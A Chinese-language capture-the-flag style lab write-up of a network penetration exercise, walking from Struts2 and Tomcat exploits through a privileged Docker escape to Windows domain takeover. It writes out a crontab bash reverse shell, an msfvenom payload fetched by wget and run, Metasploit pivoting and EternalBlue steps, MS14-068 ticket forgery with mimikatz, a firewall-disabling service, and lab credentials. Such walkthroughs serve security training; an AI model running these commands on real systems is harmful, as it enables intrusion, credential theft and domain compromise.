红日靶场4+自定义场景

前情提要：参考关于恶意程序zygisk.apk的简单分享.docx

通过对外网主机进行信息收集，得到以下情报：

使用 nmap 对 192.168.31.127 执行全端口扫描，确认存活并发现开放端口。
发现多个 HTTP 服务：80 (nginx)、2001 (Jetty/Struts2)、2002 (Tomcat)、2003 (Apache)、8888。
尝试利用 CVE-2017-5638 对 Struts2 应用（端口 2001）进行 OGNL 注入测试。
访问 Tomcat 默认页面（端口 2002），发现 /manager/html 管理界面入口。

关键发现

是否找到 Flag：否
发现内容：
- 靶机 IP：192.168.31.127
- 开放端口与服务：
  - 22/tcp：SSH (OpenSSH 6.6.1p1 Ubuntu)
  - 80/tcp：HTTP (nginx 1.18.0)
  - 2001/tcp：HTTP (Jetty 9.2.11.v20150529) —— Struts2 文件上传示例页面
  - 2002/tcp：HTTP (Apache Tomcat 8.5.19) —— 含 manager 管理界面
  - 2003/tcp：HTTP (Apache httpd 2.4.25) —— Access denied!
  - 8888/tcp：未知服务
- Struts2 页面存在文件上传功能，疑似可利用 CVE-2017-5638 实现 RCE。
- Tomcat 服务暴露 /manager/html 和 /host-manager/html 管理接口，可能支持弱口令登录或默认凭证。
风险等级：高

尝试通过burpsuite进行原理性探测+ Struts2漏洞检测工具探测

确定S2-046-bypass等漏洞存在，可以执行命令，确定rec漏洞存在。

但一般来说，直接轻松拿到root不现实，根据经验，高度怀疑docker等容器环境！网卡配置信息也印证了我的猜测！

外网网段为192.168.31.0/24，而网卡信息为常见的docker特征ip
通过ls -al /发现.dockerenv文件，确定在docker环境内

既然确定在docker内，下一步就需要进行横向或者容器逃逸。

最常见的docker逃逸是利用危险配置如privileged，以及组件漏洞，内核漏洞

但检查掩码，structs容器并没有明显的危险配置可快速利用。而我们的时间有限，不能死磕，所以转向自研agent扫描出的其他端口上的高风险服务——tomcat

经过查询发现，# Tomcat/8.5.19存在CVE-2017-12615 任意文件写入
尝试点击管理，返回403

查询更多漏洞细节，发现需要用bp做验证，将get改为put，如果为201证明可行

抓包ing

验证成功，201状态码
但直接使用jsp上传失败：

绕过的方式有很多，有空格绕过，/绕过

尝试使用哥斯拉生成webshell

尝试上传shell

连接成功！

但经过检查，发现同样位于docker容器内

不过好消息是，这个容器和structs容器配置不同，出现了明显的privileged风险标志：

检查环境信息，通过fdisk -l发现宿主机磁盘
尝试用命令进行挂载：
mkdir /test
mount /dev/sda1 /test
成功读取宿主机磁盘！

通过读取/etc/passwd，里面的用户信息也证实了这一点

既然可以读写文件，那么就可以尝试通过自启动/计划任务将主机shell反弹出来。
touch /test/test.sh
echo ‘bash -i >& /dev/tcp/192.168.31.206/1234 0>&1’ >/test/test.sh
echo ’ * root bash /test.sh‘ >> /test/etc/crontab

echo写入出现了一些问题，使用cat重定向可以缓解：
cat << 'EOF' >> /test/etc/crontab

- - - - root /bin/bash /test.sh
        EOF

成功拿到宿主机root！

通过 ip a 发现大量网卡信息

1. 物理网卡

网卡名称	IP 地址	网络角色
lo	`127.0.0.1`	本地回环 (Loopback)，用于本地服务通信。
eth0	`192.168.111.128`	第一物理网卡，处于 `111` 网段。
eth1	`192.168.31.127`	关键网卡。处于 `31` 网段，与之前提到的反弹 Shell 目标 IP (`192.168.31.206`) 属于同一逻辑局域网。
eth2	`192.168.183.132`	第三物理网卡，处于 `183` 网段。

2. Docker 虚拟网桥

网桥名称	网关 IP	说明
docker0	`172.17.0.1`	Docker 默认网桥。当前状态为 `DOWN`，说明没有容器连接到默认网络。
br-05384b1b0df2	`172.18.0.1`	自定义网桥，对应一个运行中的容器。
br-f0d07941b332	`172.19.0.1`	自定义网桥，对应一个运行中的容器。
br-1d665e13ee58	`172.20.0.1`	自定义网桥，对应一个运行中的容器。

由于shell稳定性不佳，使用决定将shell转交给msf
使用命令生成msf马：
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.206 LPORT=4444 -f elf > shell.elf

wget http://192.168.31.206:8000/shell.elf -O /tmp/shell.elf

chmod +x /tmp/shell.elf
/tmp/shell.elf &

　msf进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

shell成功被转交到msf

对主机环境进行侦察，发现 ubuntu 用户的历史命令执行有大量敏感信息，疑似泄露内网主机凭证：
192.168.183.129:douser:Dotest123

这台主机是Linux，却扫描出了iis7.5，证明应该是伪装，或是映射或代理，遂进行进程排查。

敏感文件检索：

发现多个敏感文件：
/home/ubuntu/Desktop/c2.py#伪装网页
/home/ubuntu/dev/parser_logic.py#开发环境泄露
/home/ubuntu/Desktop/proxy.py#反向代理
。。。

发现真正的c2远控逻辑在内网的DC服务器上，ip为130，端口8080

在 /home/ubuntu/dev/ 目录下发现 parser_logic.py。不同于常见的公开漏洞，该脚本揭示了内网c2的业务逻辑。通过静态审计，我注意到开发者为了方便调试，在 V2 版本的解析逻辑中留下了一个特殊的触发词 DEBUG_TRIGGER_X99，而注释明确提到，崩溃日志会把 LDAP_PASS（内网域控/统一身份认证密码）记录在 /uploads/log/ 下

第二阶段：内网横向

1. 路由转发 (Pivot Setup)

autoroute 模块是 MSF 的内置功能，它的作用是告诉 MSF 框架：“所有发往 183 网段的数据包，都通过这个 Meterpreter 会话转发出去。”

操作确认：

Bash

# 在 Meterpreter 会话中
run autoroute -s 192.168.183.0/24  # 添加路由
run autoroute -p                   # 打印路由表确认是否添加成功

注：autoroute 仅对 MSF 内部的模块（如扫描器、漏洞利用模块）生效。如果想让 Kali 本地的其他工具（如 nmap 或浏览器）也能访问这个内网，需要配合 Socks 代理。

2. Socks 代理（让外部工具也能进内网）

在添加完路由后，通常建议开启一个 Socks 服务器：

Ctrl+Z 将会话后台。
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1 (或者你的 Kali IP)
set version 4a (或 5)
run 之后修改 Kali 的 /etc/proxychains4.conf，就可以用 proxychains nmap -sT -Pn 192.168.183.132 来扫描了。

3. 主机扫描 (Discovery)

TCP 端口扫描（发现 Web 或服务资产）**：

Bash

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.183.0/24
set PORTS 80,443,445,3389,8080
set THREADS 10
run

发现内网共三台主机，且其他两台开放445，结合前面收集到的信息，高度怀疑win server

[+] 192.168.183.130 - 192.168.183.130:445 - TCP OPEN
[+] 192.168.183.130 - 192.168.183.130:8080 - TCP OPEN

[+] 192.168.183.129 - 192.168.183.129:445 - TCP OPEN

[+] 192.168.183.132 - 192.168.183.132:80 - TCP OPEN

udp扫描得到更多信息：

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

确定内网为win 7 + 2008

192.168.183.130 WIN-ENS2VR5TR3N 
192.168.183.129 TESTWIN7-PC

信息收集分析：

通过 smb_version 探测，确认 129 为 Windows 7 SP1。该版本在未打补丁的情况下极易受到永恒之蓝攻击。由于内网环境通常补丁更新滞后，这可以作为备选的渗透路径。

目标 130 确认为 Windows Server 2008。结合之前探测到的 DNS (53) 和 NTP (123) 服务，以及 SMB 强制签名的特性，确认其为 DEMO 域的域控制器

*
因为目前掌握的消息较为充足，且为了防止打草惊蛇，减少在内网中留下的痕迹，我决定放弃全面端口扫描

通过MSF自带扫描模块确定win含有永恒之蓝：

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.129
run

尝试利用ms17

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.183.129
set lport 8888
set AutoRunScript post/windows/manage/migrate
run
但在当前隧道环境下，多次尝试都不太顺利：

永恒之蓝（MS17-010）本质上是一个**竞态条件（Race Condition）**漏洞。

原理：它需要发送大量畸形的 SMB 碎片包，通过精准的先后顺序来抢占并覆盖内核内存（Heap Grooming）。
隧道影响： Chisel 隧道会将 TCP 流量封装在 WebSocket/HTTP 中。这种封装会产生抖动（Jitter）和延迟（Latency）。如果其中一个内存分配包（Groom Packet）因为隧道处理稍微慢了几毫秒，目标内核的内存布局就会乱掉。

遂不再与其死磕，之前在ubuntu机器内部侦察时得到了此机器的一个敏感信息，这让我可以从漏洞利用转向凭据复用：
192.168.183.129:douser:Dotest123
尝试通过配置 psexec 模块进行凭据利用：

Bash

use exploit/windows/smb/psexec
set RHOSTS 192.168.183.129
set SMBUser douser
set SMBPass Dotest123

set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4445
run

但比较沮丧的是，仍旧没有利用成功。

这条路看起来不太好走~但是根据之前的代码审计，dc（核心服务器）上疑似有一个内存dump，仔细分析该代码，构造出如下playload，刚好此playload必须在内网利用

生成 Payload

echo -n "RES_LOG_V2|DEBUG_TRIGGER_X99|PWN" | base64 > exploit.b64

发送数据流

curl -v -X POST http://192.168.183.130:8080/client/e.ashx \

 -H "Content-Type: application/octet-stream" \
 --data-binary @exploit.b64

ok，让我们使用curl http://192.168.183.130:8080/uploads/log/ 成功发现文件名

http://192.168.183.130:8080/uploads/log/crash_1767304220.log.dump.txt

获得dc1 凭证

再次尝试永恒之蓝，这次我们使用更加稳定的frp作为socks隧道。


[common]
server_addr = 192.168.31.206
server_port = 7000

[socks_proxy]
type = tcp
remote_port = 10445
plugin = socks5


[common]
bind_port = 7000

尝试使用新的playload：

setg Proxies socks5:127.0.0.1:10445
setg ReverseAllowProxy true

//选择模块
use exploit/windows/smb/ms17_010_eternalblue

// 设置目标与载荷 (必须使用 bind_tcp)
set RHOSTS 192.168.183.129
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4444

//针对隧道增加容错率
set ConnectTimeout 30
run

成功！

进行一些基础的信息收集：

\TESTWIN7-PC
\WIN-ENS2VR5TR3N

网卡信息

桌面大量文件，包含提权工具。

对所掌握的信息进行整理，得到：

域用户: douser@DEMO.com
用户密码: Dotest123
用户 SID: S-1-5-21-979886063-1111900045-1414766810-1107
域控 IP: 192.168.183.130
MS14-068.EXE

MS14-068 域提权漏洞

　　介绍：

　　利用Kerberos 域用户提权漏洞（MS14-068;CVE-2014-6324)来获得域控。

　　该漏洞可导致活动目录整体权限控制受到影响，允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲，如果攻击者获取了域内任何一台计算机的Shell权限，同时知道任意域用户的用户名、SID、密码，即可获得域管理员权限，进而控制域控制器，最终获得域权限。

　　使用PyKEK可以生成一张高权限的服务票据，并通过mimikatz将服务票据注人内存。

　　使用PyKEK，可以将Python文件转换为可执行文件（在没有配置Python环境的操作系统中也可以执行此操作，在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)

　　微软针对MS14-068 ( CVE-2014-6324）漏洞提供的补丁为KB3011780

　　‍

　　条件：获得普通域用户以及密码，以及用户的suid ip为域控ip
　　

第一步：伪造高权限票据

DOS

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

预期结果：目录下会生成一个名为 TGT_douser@DEMO.COM.ccache 的票据文件。

第二步：注入票据到内存

DOS

mimikatz.exe
# 清除旧票据
kerberos::purge
# 注入新票据
kerberos::ptc TGT_douser@DEMO.COM.ccache
exit

第三步：接管域控 (130)

注入成功后，利用票据提供的域管权限直接在域控上执行命令：

验证连接：
dir \\WIN-ENS2VR5TR3N\c$

2.关闭防火墙

# 第一步：创建服务 
sc \\WIN-ENS2VR5TR3N create stop_fw binpath= "netsh advfirewall set allprofiles state off"

# 第二步：启动服务
sc \\WIN-ENS2VR5TR3N start stop_fw

生成，上传bind.exe木马

kali开启监听：

将木马上传到dc，并启动服务

成功拿到权限，对c2服务器进行截图取证

对后端进行留存取证，发现c2后端使用py实现，模拟iis7.5，窃取的信息在同命令的upload文件夹

关键发现

1. 物理网卡

2. Docker 虚拟网桥

第二阶段：内网横向

1. 路由转发 (Pivot Setup)

2. Socks 代理（让外部工具也能进内网）

3. 主机扫描 (Discovery)

MS14-068 域提权漏洞

第一步：伪造高权限票据

第二步：注入票据到内存

第三步：接管域控 (130)

评论已关闭